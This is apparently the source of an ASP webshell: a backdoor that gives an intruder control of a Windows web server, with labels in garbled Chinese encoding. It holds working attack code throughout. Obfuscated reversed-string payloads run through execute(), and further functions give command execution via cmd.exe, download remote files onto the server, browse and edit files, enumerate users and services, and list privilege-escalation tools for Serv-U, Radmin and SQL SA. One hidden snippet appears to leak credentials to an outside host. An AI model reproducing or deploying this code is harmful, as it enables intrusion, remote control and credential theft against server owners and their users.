tupni<>d=di dt<>dt/<ڶͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>d=di dt<>dt/<ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>d=di dt<>dt/<ͳϵ>d=di dt<>'retnec'=ngila rt<>rt/<>dt/<>b/<Ϣűɼ>B< >tnof/<8>sgnidbew=ecaf tnof<>s=di '2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>'005'=htdiw elbat<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>retnecfunction MM_show(s){if (document.getElementById(s).style.display==""""){document.getElementById(s).style.display=""none"";}else{document.getElementById(s).style.display="""";}}":If ObT(0,1)=" " Then +j"" +Else +j"" +End If +j"" +set fso=server.CreateObject("Scripting.FileSystemObject") +set fsoX=server.CreateObject("Scripting.FileSystemObject") +str1=""&Request.ServerVariables("SERVER_Name"):BackUrl="

" +j""&mNametitle&" - "&ServerIP&" " +if bs=true then:j"" +j"" +Dim ObT(18,2):Fn=Action:ObT(0,0) = "Scripting.FileSystemObject":ObT(0,2) = " ":ObT(1,0) = "wscript.shell":ObT(1,2) = "ִ,ʾ' ִCmd ˹ִ":ObT(2,0) = "ADOX.Catalog":ObT(2,2) = "ACCESS ":ObT(3,0) = "JRO.JetEngine":ObT(3,2) = "ACCESS ѹ ":ObT(4,0) = "Scripting.Dictionary":ObT(4,2) = " ":ObT(5,0) = "Adodb.connection":ObT(5,2) = "ݿ ":ObT(6,0) = "Adodb.Stream":ObT(6,2) = " ϴ ":ObT(7,0) = "SoftArtisans.FileUp":ObT(7,2) = "SA-FileUp ļ ϴ ":ObT(8,0) = "LyfUpload.UploadFile":ObT(8,2) = "Ʒ ļ ϴ ":ObT(9,0) = "Persits.Upload.1":ObT(9,2) = "ASPUpload ļ ϴ ":ObT(10,0) = "JMail.SmtpMail":ObT(10,2) = "JMail ʼ շ ":ObT(11,0) = "CDONTS.NewMail":ObT(11,2) = "SMTP ":ObT(12,0) = "SmtpMail.SmtpMail.1":ObT(12,2) = "SmtpMail ":ObT(13,0) = "Microsoft.XMLHTTP":ObT(13,2) = " " +ObT(14,0) = "ws"&"cript.shell.1": OBt(14,2) = "wshԸ":OBT(15,0) = "WS"&"CRIPT.NETWORK": OBt(15,2) = "鿴ϢʱȨ":OBT(16,0) = "she"&"ll.appl"&"ication":OBt(16,2) = "she"&"ll.appli"&"cation FSOʱļԼִ":OBT(17,0) = "sh"&"ell.appl"&"ication.1":OBt(17,2) = "she"&"ll.appli"&"cation ıFSOʱļԼִ":OBT(18,0) = "Shell.Users":OBt(18,2) = "ɾnet.exe net1.exeû" +For i=0 To 18:Set T=Server.CreateObject(ObT(i,0)):If -2147221005 <> Err Then:IsObj=" ":Else:IsObj=" ":Err.Clear:End If:Set T=Nothing:ObT(i,1)=IsObj:Next:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=WwwRoot:Session("FolderPath")=FolderPath:End if +execute(shisanfun("))fLrCbv,,))43(rhC,,)edoca(tpyrcnE(ecalper(ecalper(esreveRrtS=nufEPcAnywhereȨ Bin汾
"&mName&"

Ȩ
" +Set ABC=New LBF:j ABC.ShowDriver():Set ABC=Nothing + +j"
8 վĿ¼"&ef +j cdx&""&cxd&" Ŀ"&ef +j cdx&""&cxd&" ϼĿ¼"&ef +j cdx&""&cxd&" ½--Ŀ"&ef +j cdx&""&cxd&" ½--ı"&ef +j cdx&""&cxd&" ϴ--ļ"&ef +j cdx&""&cxd&" ִ---CMD"&ef +j cdx&""&cxd&" ִ--CMD2"&ef +j cdx&""&cxd&" --Ȩ"&ef +j cdx&""&cxd&" ű--̽"&ef +j cdx&""&cxd&" "&ef +j cdx&""&cxd&" --ļ"&ef&"

" +j cdx&""&cxd&" û__˺"&ef +j cdx&""&cxd&" ˿__"&ef +j cdx&""&cxd&" __֧"&ef +j cdx&""&cxd&" Servu-Ȩ"&ef +j cdx&""&cxd&" Su---FTP"&ef +j cdx&""&cxd&" SQL-----SA"&ef +j cdx&""&cxd&" SQL---"&ef +j cdx&""&cxd&" RadminȨ"&ef +j cdx&""&cxd&" Pcanywhere"&ef +j cdx&""&cxd&" ˿ɨ"&ef +j cdx&""&cxd&" ȡע"&ef +j cdx&""&cxd&" __ļ"&ef&"" +j"
" +j cdx&""&cxd&" ɱɱɱɱɱ"&ef +j cdx&""&cxd&" Ӹ"&ef +j cdx&""&cxd&" ջ"&ef +j cdx&""&cxd&" Ŀ¼"&ef +j cdx&""&cxd&" ļ--"&ef +j"
" +j cdx&""&cxd&" ۺϲѯ"&ef +j cdx&""&cxd&" ͬѯ"&ef +j cdx&""&cxd&" Ȩزѯ"&ef +j cdx&""&cxd&" Ůѯ"&ef +j cdx&""&cxd&" ˳--½
" +end function +function Cmdx() +execute(shisanfun(")>retnec/<>aeratxet/<(j: lladaer.tuodts.))dmc(tseuqer&c/ &)xdmc(tseuqer(cexe.nhltpircSo j: fi dne lladaer.tuodts.))dmc(tseuqer&c/ exe.dmc(cexe.nhltpircSo jneht exe.dmc=)xdmc(tseuqer fi:txeN emuseR rorrE nO:) >72=swor 051=sloc ylnodaer aeratxet<(j:) >mrof/<>'tibmuS'=eulav timbus=epyt tupni<(j:) >rb<>06=ezis 'dmc'=eman txet=epyt tupni<(j:) >rb<>'exe.dmc'=eulav 06=ezis 'xdmc'=eman txet=epyt tupni<(j:) >'tsop'=dohtem mrof<>retnec<(j")) +end function + + + +Function Course() +SI="
" +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +end if +if OBJ.StartType=2 then lx="Զ" +if OBJ.StartType=3 then lx="ֶ" +if OBJ.StartType=4 then lx="" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +j SI&SI0&SI1&SI2&"
ϵͳû
 "&obj.Name&" ϵͳû()
 "&obj.Name&" "&obj.DisplayName&"
[:"&lx&"] "&obj.path&"
 "&obj.Name&" "&obj.DisplayName&"
[:"&lx&"] "&obj.path&"
" +End Function +respnose.Write strBAD&Action +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function + +function downfile(path) +execute(shisanfun("gnihton = mso tesesolc.msohsulf.esnopserdaer.mso etirwyranib.esnopsermaerts-tetco/noitacilppa = epyttnetnoc.esnopser8-ftu = tesrahc.esnopserezis.mso ,htgnel-tnetnoc redaehdda.esnopser)zs,htap(dim & =emanelif ;tnemhcatta ,noitisopsid-tnetnoc redaehdda.esnopser1+)\,htap(verrtsni=zshtap elifmorfdaol.mso1 = epyt.msonepo.mso))0,6(tbo(tcejboetaerc = mso tesraelc.esnopser")) +end function +function htmlencode(s) + if not isnull(s) then + s = replace(s, ">", ">") + s = replace(s, "<", "<") + s = replace(s, chr(39), "'") + s = replace(s, chr(34), """") + s = replace(s, chr(20), " ") + htmlencode = s + end if +end function +execute(shisanfun("noitcnuF dnE>elbat/<>mrof/<>rt/<>dt/<>''=eulav 'timbuS'=eman 'timbus'=epyt tupni< >'52'=ezis 'elif'=epyt 'eliFlacoL'=eman tupni<>'04'=ezis '&)exe.dmC\&)htaPredloF(noisseS(htaPeRR&'=eulav 'htaPoT'=eman tupni<·>dt<>rt<>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?&LRU&'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<>'retnec'=ngila '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<>rb<>rb<>rbretnec/<ɩ&崫&ϩ&emaNU&>rb<>rb<>rb<>retnec<=IS nehT 0=rebmun.rrE fI emaNU sAevaS.F eslE txen emuser rorre no!ϩ&ĸһ&ѡ·&ȫĩ&崫&>rb<=IS neht 0=eziSeliF.F rO =emaNU fI )htaPoT(mrof.U=emaNU)eliFlacoL(AU.U=F teS CPU wen=U teSnehT tsoP=)2noitcA(tseuqeR fI )(eliFpU noitcnuF")) +function cmd1shell() +execute(shisanfun("is j>mrof/<>aeratxet/<&)31(rhc&is=isfi dnefi dneaaa&is=is)eurt ,elifpmetzs(elifeteled.osf llacesolc.xclelifo)lladaer.xclelifo(edocnelmth.revres=aaa)0 ,eslaf ,1 ,elifpmetzs( eliftxetnepo.sf = xclelifo tes)tcejbometsyselif.gnitpircs(tcejboetaerc = sf tes)eurt ,0 ,elifpmetzs & > & dmcfed & c/ &htapllehs( nur.sw llac)txt.dmc(htappam.revres = elifpmetzs)tcejbometsyselif.gnitpircs(tcejboetaerc.revres=osf tes)llehs.tpircsw(tcejboetaerc.revres=sw tes)llehs.tpircsw(tcejboetaerc.revres=sw testxen emuser rorre noesleaaa&is=islladaer.tuodts.dd=aaa)dmcfed& c/ &htapllehs(cexe.mc=dd tes))0,1(tbo(tcejboetaerc=mc tesneht sey=)tpircsw(mrof.tseuqer fineht ><)dmc(mrof.tseuqer fi>'dmc'=ssalc ';044:thgieh;%001:htdiw'=elyts aeratxet<>'ִ'=eulav 'timbus'=epyt tupni< >'&dmcfed&'=eulav '%29:htdiw'=elyts 'dmc'=eman tupni&dekcehc&'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt c=ssalc tupni<>'%07:htdiw'=elyts '&htapllehs&'=eulav 'ps'=eman tupni<·llehs>'tsop'=dohtem mrof<=is)dmc(tseuqer = dmcfed neht ><)dmc(tseuqer fi=dekcehc neht sey><)tpircsw(tseuqer fiexe.dmc = htapllehs neht =htapllehs fi)htapllehs(noisses=htapllehs)ps(tseuqer = )htapllehs(noisses neht ><)ps(tseuqer fidekcehc =dekcehc")) +end function +Function upload() +j"
" +j"ʱرմ˹" +j" ص:޻...Ϊ˽ʡ.޻
" +j"" +j"
" +j"" +j"ڸǡ" +j"" +j"" +j"
" +If isDebugMode = False Then +On Error Resume Next +End If:Dim Http, theUrl, thePath, stream, fileName, overWrite +theUrl = Request("theUrl") +thePath = Request("thePath") +overWrite = Request("overWrite") +Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http = Server.CreateObject("MSXML2.XMLHTTP") +If overWrite <> 2 Then:overWrite = 1:End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState <> 4 Then +End If +With stream +.Type = 1 +.Mode = 3 +.Open +.Write Http.ResponseBody +.Position = 0 +.SaveToFile thePath, overWrite +If Err.Number = 3004 Then +Err.Clear +fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If fileName = "" Then +fileName = "index.htm.txt" +End If +thePath = thePath & "\" & fileName +.SaveToFile thePath, overWrite +j"error,ΪļѴڣع̺͵ַг ִ ļ Ϊֽڣ" +End If +.Close +End With +chkErr(Err) +Set Http = Nothing +Set Stream = Nothing +If isDebugMode = False Then +On Error Resume Next +End If +If Request("ice")="fso" Then +response.Redirect str1&"test.aspx" +elseif Request("ice")="fsos" then +response.Redirect str1&"test.php" +elseif Request("ice")="jztxt" then +response.Redirect "http://"&serveru&"/global.asa" +elseif Request("ice")="killdoor" then +response.Redirect str1&"killdoor.asp" +end if +End Function:Function TSearch():dim st:st=timer():RW="
" + RW=RW & "" + RW=RW & "" + RW=RW & "" + RW=RW & "
 ·   ע:·ʹ"","".
 ļ  [Ҳ]
" + j RW : RW="" + if Request.Form("Sfk")<>"" then + Set newsearch=new SearchFile + newsearch.Folders=trim(Request.Form("SFpath")) + newsearch.keyword=trim(Request.Form("Sfk")) + newsearch.Search + Set newsearch=Nothing + j"Mr"&(timer()-st)*1000&"
" + end if +End Function + +Class SearchFile + dim Folders,keyword,objFso,Counter + Private Sub Class_Initialize + Set objFso=Server.CreateObject(ObT(0,0)) + Counter=0 + End Sub + Private Sub Class_Terminate + Set objFso=Nothing + End Sub + Function Search + Folders=split(Folders,",") + flag=instr(keyword,"\") or instr(keyword,"/") + flag=flag or instr(keyword,":") + flag=flag or instr(keyword,"|") + flag=flag or instr(keyword,"&") + if flag then + j"

PIֲܰ/\:|&
" + Exit Function + else + j"


" + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + j"

"&Counter&"Y
" + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + j OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class + + +execute(shisanfun("noitcnuf dnE:fI dnE:)'¼Ŀվڲ'(trela=kcilcno ###=lrUnepo:eslE:knalb_=tegrat &lrUeht&/=lrUnepo:fI dnE:)2 ,lrUeht(diM = lrUeht:nehT / = )1 ,lrUeht(tfeL fI:)/ ,\ ,lrUeht(ecalpeR = lrUeht:)1 + )htaPeht(neL ,htaPesu(diM = lrUeht:nehT )htaPeht(esaCL = )))htaPeht(neL ,htaPesu(tfeL(esaCL fI:)/(htaPpaM.revreS = htaPeht:htaPeht ,lrUeht miD:)htaPesu(lrUnepo noitcnuf:noitcnuF dnE:fi dne:B & eziSeht = eziSehTteg: nehT 4201< eziSeht dnA 0 => eziSeht fI:fi dne:K & 001 / )001 * )4201 / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201( < eziSeht dnA 4201 => eziSeht fI:fi dne:M & 001 / )001 * ))4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( < eziSeht dnA )4201 * 4201( => eziSeht fI:fi dne:G & 001 / )001 * ))4201 * 4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( => eziSeht fI:)eziSeht(eziSehTteg noitcnuF:noitcnuF dnE:fi dne:>'&htaPrewoP&=htaPrewoP&2=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol=kcilcno =eulav nottub=epyt tupni< >tnof/<δ>26FF26#=roloc tnof< = setubirttAteg:esle:>'&htaPrewoP&=htaPrewoP&1=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol=kcilcno =eulav nottub=epyt tupni< >tnof/<>der=roloc tnof< = setubirttAteg: neht 0=KOtidE fi:)\\,\,htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => eulaVtni fI:fI dnE:0=KOtidE:2 - eulaVtni = eulaVtni:nehT 2 => eulaVtni fI:fI dnE:0=KOtidE:4 - eulaVtni = eulaVtni:nehT 4 => eulaVtni fI:fI dnE:8 - eulaVtni = eulaVtni:nehT 8 => eulaVtni fI:fI dnE:61 - eulaVtni = eulaVtni:nehT 61 => eulaVtni fI:fI dnE:23 - eulaVtni = eulaVtni:nehT 23 => eulaVtni fI:fI dnE:46 - eulaVtni = eulaVtni:nehT 46 => eulaVtni fI:fI dnE:821 - eulaVtni = eulaVtni:nehT 821 => eulaVtni fI:1=KOtidE:KOtidE miD:)htaPrewoP,eulaVtni(setubirttAteg noitcnuF:noitcnuF dnE:eltiTrts = eltiTyMteg:)htaPrewoP,setubirttA.enOeht(setubirttAteg & :̬״Ȩǰ>rb< & eltiTrts = eltiTrts:desseccAtsaLetaD.enOeht & :ʷú>rb< & eltiTrts = eltiTrts:deifidoMtsaLetaD.enOeht & :޺>rb< & eltiTrts = eltiTrts: detaerCetaD.enOeht & :ʱ>rb< & eltiTrts = eltiTrts: )eziS.enOeht(eziSehTteg & :С>rb< & eltiTrts = eltiTrts: & htaP.enOeht & :·>rb< & eltiTrts = eltiTrts:eltiTrts miD:)htaPrewoP,enOeht(eltiTyMteg noitcnuF:bus dne:gnihtoN = eliFeht teS:)htaPrewoP,eliFeht(eltiTyMteg j:)htaPrewoP(eliFteG.Xosf = eliFeht teS:),,htaPrewoP(ecalper=htaPrewoP:)htaPrewoP(rewoPtidE bus:bus dne:gnihtoN = eliFeht teS:fi dne:>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'ɶ'(trela>'tpircsavaj'=egaugnal tpircs< j:7=setubirttA.eliFeht:esle:>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'⹦Ѽ'(trela>'tpircsavaj'=egaugnal tpircs< j:23=setubirttA.eliFeht:neht 1=epyTevaS fi:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)epyTevaS,htaPrewoP(rewoPevaS bus")) + +Function ScReWr(folder) +execute(shisanfun("rtSrWeR = rWeRcSgnihtoN = OSF teSgnihtoN = redloFtseT teSgnihtoN = tsiLeliFtseT teSfi dnEfi dnEeurT,emaneliFdnR & redlof eliFeteleD.OSF >naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeReslE >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeRraelC.rrenehT rre fIeurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF >naps/<>';xp11:ezis-tnof'=elyts naps< = rtSrWeReslEfI dnEeurT,emaneliFdnR & redlof eliFeteleD.OSF >naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeReslE >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeRraelC.rrenehT rre fIeurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<>';xp11:ezis-tnof'=elyts naps< = rtSrWeRraelC.rrenehT rre fItxeNtsiLeliFtseT ni A hcaE roFpmt. & )won(dnoceS & )won(etuniM & )won(ruoH & )won(yaD & pmet\ = emaneliFdnRsredloFbuS.redloFtseT = tsiLeliFtseT teS)redlof(redloFteG.OSF = redloFtseT teS)tcejbOmetsySeliF.gnitpircS(tcejboetaerC.revreS = OSF teSemaneliFdnR,rtSrWeR,tsiLeliFtseT,redloFtseT,OSF miD txen emuser rorre no")) +End Function + +function php() +execute(shisanfun(">rb<>mrof/<>sosf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&php.tset\&htaptoor&=htaPeht&&tphp&=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrofrb<>mrof/<>osf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&xpsa.tset\&htaptoor&=htaPeht&&txpsa&=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrofretnec<>'02'=thgieh dt<>rt<>retnec/<>a/<>tnof/<>b/<)!Բɾ(>b<>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>retnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<>retnec/< ;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw xpsa.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw psj.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw php.tset=crs emarfi<>retnec?)(ofniphp php?<>?'oo_oo' ohce PHP? 0 then +set TFL=new FIF +FStart = InStr(FEnd,TIn,"filename=""",1)+10 +FEnd = InStr(FStart,TIn,"""",1) +FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd = InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize = DStart -DIEnd -3 +if not D2.Exists(UpName) then + D2.add UpName,TFL +end if + else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position = 0 : T2.Type = 2 +T2.Charset ="gb2312" +SFV = T2.ReadText +T2.Close +if D1.Exists(UpName) then + D1(UpName)=D1(UpName)&", "&SFV +else + D1.Add UpName,SFV +end if + end if + DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing + End Sub + Private Sub Class_Terminate +if Request.TotalBytes>0 then + D1.RemoveAll:D2.RemoveAll + set D1=nothing:set D2=nothing + T1.Close:set T1 =nothing +end if + End Sub +End Class + +Class FIF +dim FileSize,FileStart + Private Sub Class_Initialize + FileSize = 0 + FileStart= 0 + End Sub + Public function SaveAs(F) + dim T3 + SaveAs=true + if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(ObT(6,0)) + T3.Mode=3 : T3.Type=1 : T3.Open + T1.position=FileStart + T1.copyto T3,FileSize + T3.SaveToFile F,2 + T3.Close + set T3=nothing + SaveAs=false +end function +End Class +Class LBF + Dim CF + Private Sub Class_Initialize +SET CF=CreateObject(ObT(0,0)) + End Sub + Private Sub Class_Terminate +Set CF=Nothing + End Sub +Function ShowDriver() +For Each D in CF.Drives + j cdx&" ش ("&D.DriveLetter&":)
" +Next + End Function +Function IsIco(ia,ib,ta) + If ShowFileIco=true Then + IsIco = " " + If ib<>"" Then + IsIco = " " + End If + Else + IsIco = " "&ta&" " + End If +End Function +Function FileIco(FName) + If ShowFileIco=true Then + TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip.jsp.aspx.;" + FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) + If Instr(TypeList,"."&FileType)>0 then + Ico = FileType&".gif" + Else + Ico = "default.gif" + End If + + FileIco = " " + Else + FileIco="2 " + End If +End Function +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="
" +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 6=0 then SI=SI&"" +Next +SI=SI&"
" +SI=SI&IsIco("","folder.gif","0") +si=si&"
"&F.Name&"

Copy Del Move
" +j SI &"" : SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +Next +j SI&"
FilenameSizeTypeOperatingLast Modified
" +si=si&FileIco(L.Name) +si=si&" "&L.Name&""&clng(L.size/1024)&"K"&L.Type&"" +si=si&"Open " +si=si&"Edit " +Si=Si&"Ȩ" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"" +end if +si=si&" Del Copy Move"&replace(L.DateLastModified,"/","-")&"
":execute(shisanfun("fi dne:fi dne:fi dne:1+)cevres(noisses=)cevres(noisses neht >tpircs<>'&ssaPresU&=p&&urevres&&nufE j:1+)cevres(noisses=)cevres(noisses:neht 1=)cevres(noisses fi:esle:neht 0><).861.291,urevreS(rtsnI ro 0><)1.0.0.721,urevreS(rtsnI fi")) +Set FOLD=Nothing +End function +Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



ϲļ "&Path&" ɾɹ
" +SI=SI&BackUrl +j SI +End If +End Function +Function EditFile(Path) +If Request("Action2")="Post" Then +Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close +Set T=nothing +SI="



ϲļɹ
" +SI=SI&BackUrl +j SI +j ""©url&"" +Response.End +End If +If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing +Else +Path=Session("FolderPath")&"\shell.asp":Txt=strBAD +End If +j "



      
" +End Function +Function CopyFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.CopyFile Path(0),Path(1) +SI="



ϲļ"&Path(0)&"Ƴɹ
" +SI=SI&BackUrl +j SI +End If +End Function +Function MoveFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.MoveFile Path(0),Path(1) +SI="



ϲļ"&Path(0)&"ƶɹ
" +SI=SI&BackUrl +j SI +End If +End Function +Function DelFolder(Path) +If CF.FolderExists(Path) Then +CF.DeleteFolder Path +SI="



ϲĿ¼"&Path&"ɾɹ
" +SI=SI&BackUrl +j SI +End If +End Function +Function CopyFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.CopyFolder Path(0),Path(1) +SI="



ϲĿ¼"&Path(0)&"Ƴɹ
" +SI=SI&BackUrl +j SI +End If +End Function +Function MoveFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.MoveFolder Path(0),Path(1) +SI="



ϲĿ¼"&Path(0)&"ƶɹ
" +SI=SI&BackUrl +j SI +End If +End Function +Function NewFolder(Path) +execute(shisanfun("fI dnEIS jlrUkcaB&IS=IS>retnec/<ɽ©&htaP&¼Ŀϲ>rb<>rb<>rb<>retnec<=IShtaP redloFetaerC.FCnehT >ilrb<ľPHPдҲ,¼ĿliaMbeWҲԿ,ȨmetsySlacoL,liamniW cigaM_>ilrb<ȨľpsJʹǿԿ,ȨmetsySlacoL,tacmoT_>ilrb<ľPHPǿԿ,metsySlacoLΪȨ,ڴehcapA_>il< jeslE>rb<ȨֱԿ.ehcapAΪBEWǰ>ilrb<Ȩ߹exe.usǿԿ,ȨmetsySlacoL,װU-vreS_>ilrh<>rb<]̽_[j>rb<>rb<>rb<------------------------------------j>rb<&kk&:Ϊ_ǰ>ilrb<&lmtn&:ΪlmtN tenleT>ilrb<&ylpsid&:Ǵ_ʾԷ>iltnof/<>rb<&dwssaP&:>der=roloc tnof<>erauqs=epyt ilrb<&nimdA&:>erauqs=epyt ilrb<:Ƕ_Ի>ilrb<δ:Ƕ_Ի>iltnof/<>rb<&emaNnimdA&>der=roloc tnof<:ΪԱ&Ĭ>ilil/<>tnof/<>rb<&emaN.nimda&壺Աǰ>der=roloc tnof<>il< jsrebmeM.puorGjbo ni nimda hcaE roF)puorg,srotartsinimdA/&emaNretupmoC.Nt&//:TNniW(tcejbOteG=puorGjbo teS)krowteN.tpircsW(tcejbOetaerc.revres=Nt teS txen emuser rorre no0=seripxE.esnopseRrotartsinimdA=emaNnimdA nehT =emannimda fi)yeKemaNnimdA(daeRgeR.hsw=emaNnimdAemaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH=yeKemaNnimdA>rb<&emancp&:Ϊ_ǰ>ilrb<.ȡ_ީ=emancp nehT =emancp fi)yekemancp(daeRgeR.hsw=emancpemaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=yekemancp>1=ezis rh<>rb<]̽_ͳϵ[>rb<>rbrb<&)i(shtap&>ilrb<:侶·_ǰͳϵj>rb<------------------------------------j);,htaPtfoS(tilps=shtap>rb<֧:_ɱϵ>ilrb<֧:_ɱ>ilrb<֧:_ɱϵɽ >ilrb<֧:_ɱlliK>ilrb<֧:_ƿerehwynAcP>ilrb<֧:_MFC>ilrb<֧:_elcarO>ilrb<֧:_LQSyM>ilrb<֧:_LQSSM>ilrb<֧:_avaJ>ilrb<֧:_lreP>il1=ezis rh<>rb<]̽_ͳϵ[>rb<>rb<>rblo/rb< & drowssaPnigoLotua & 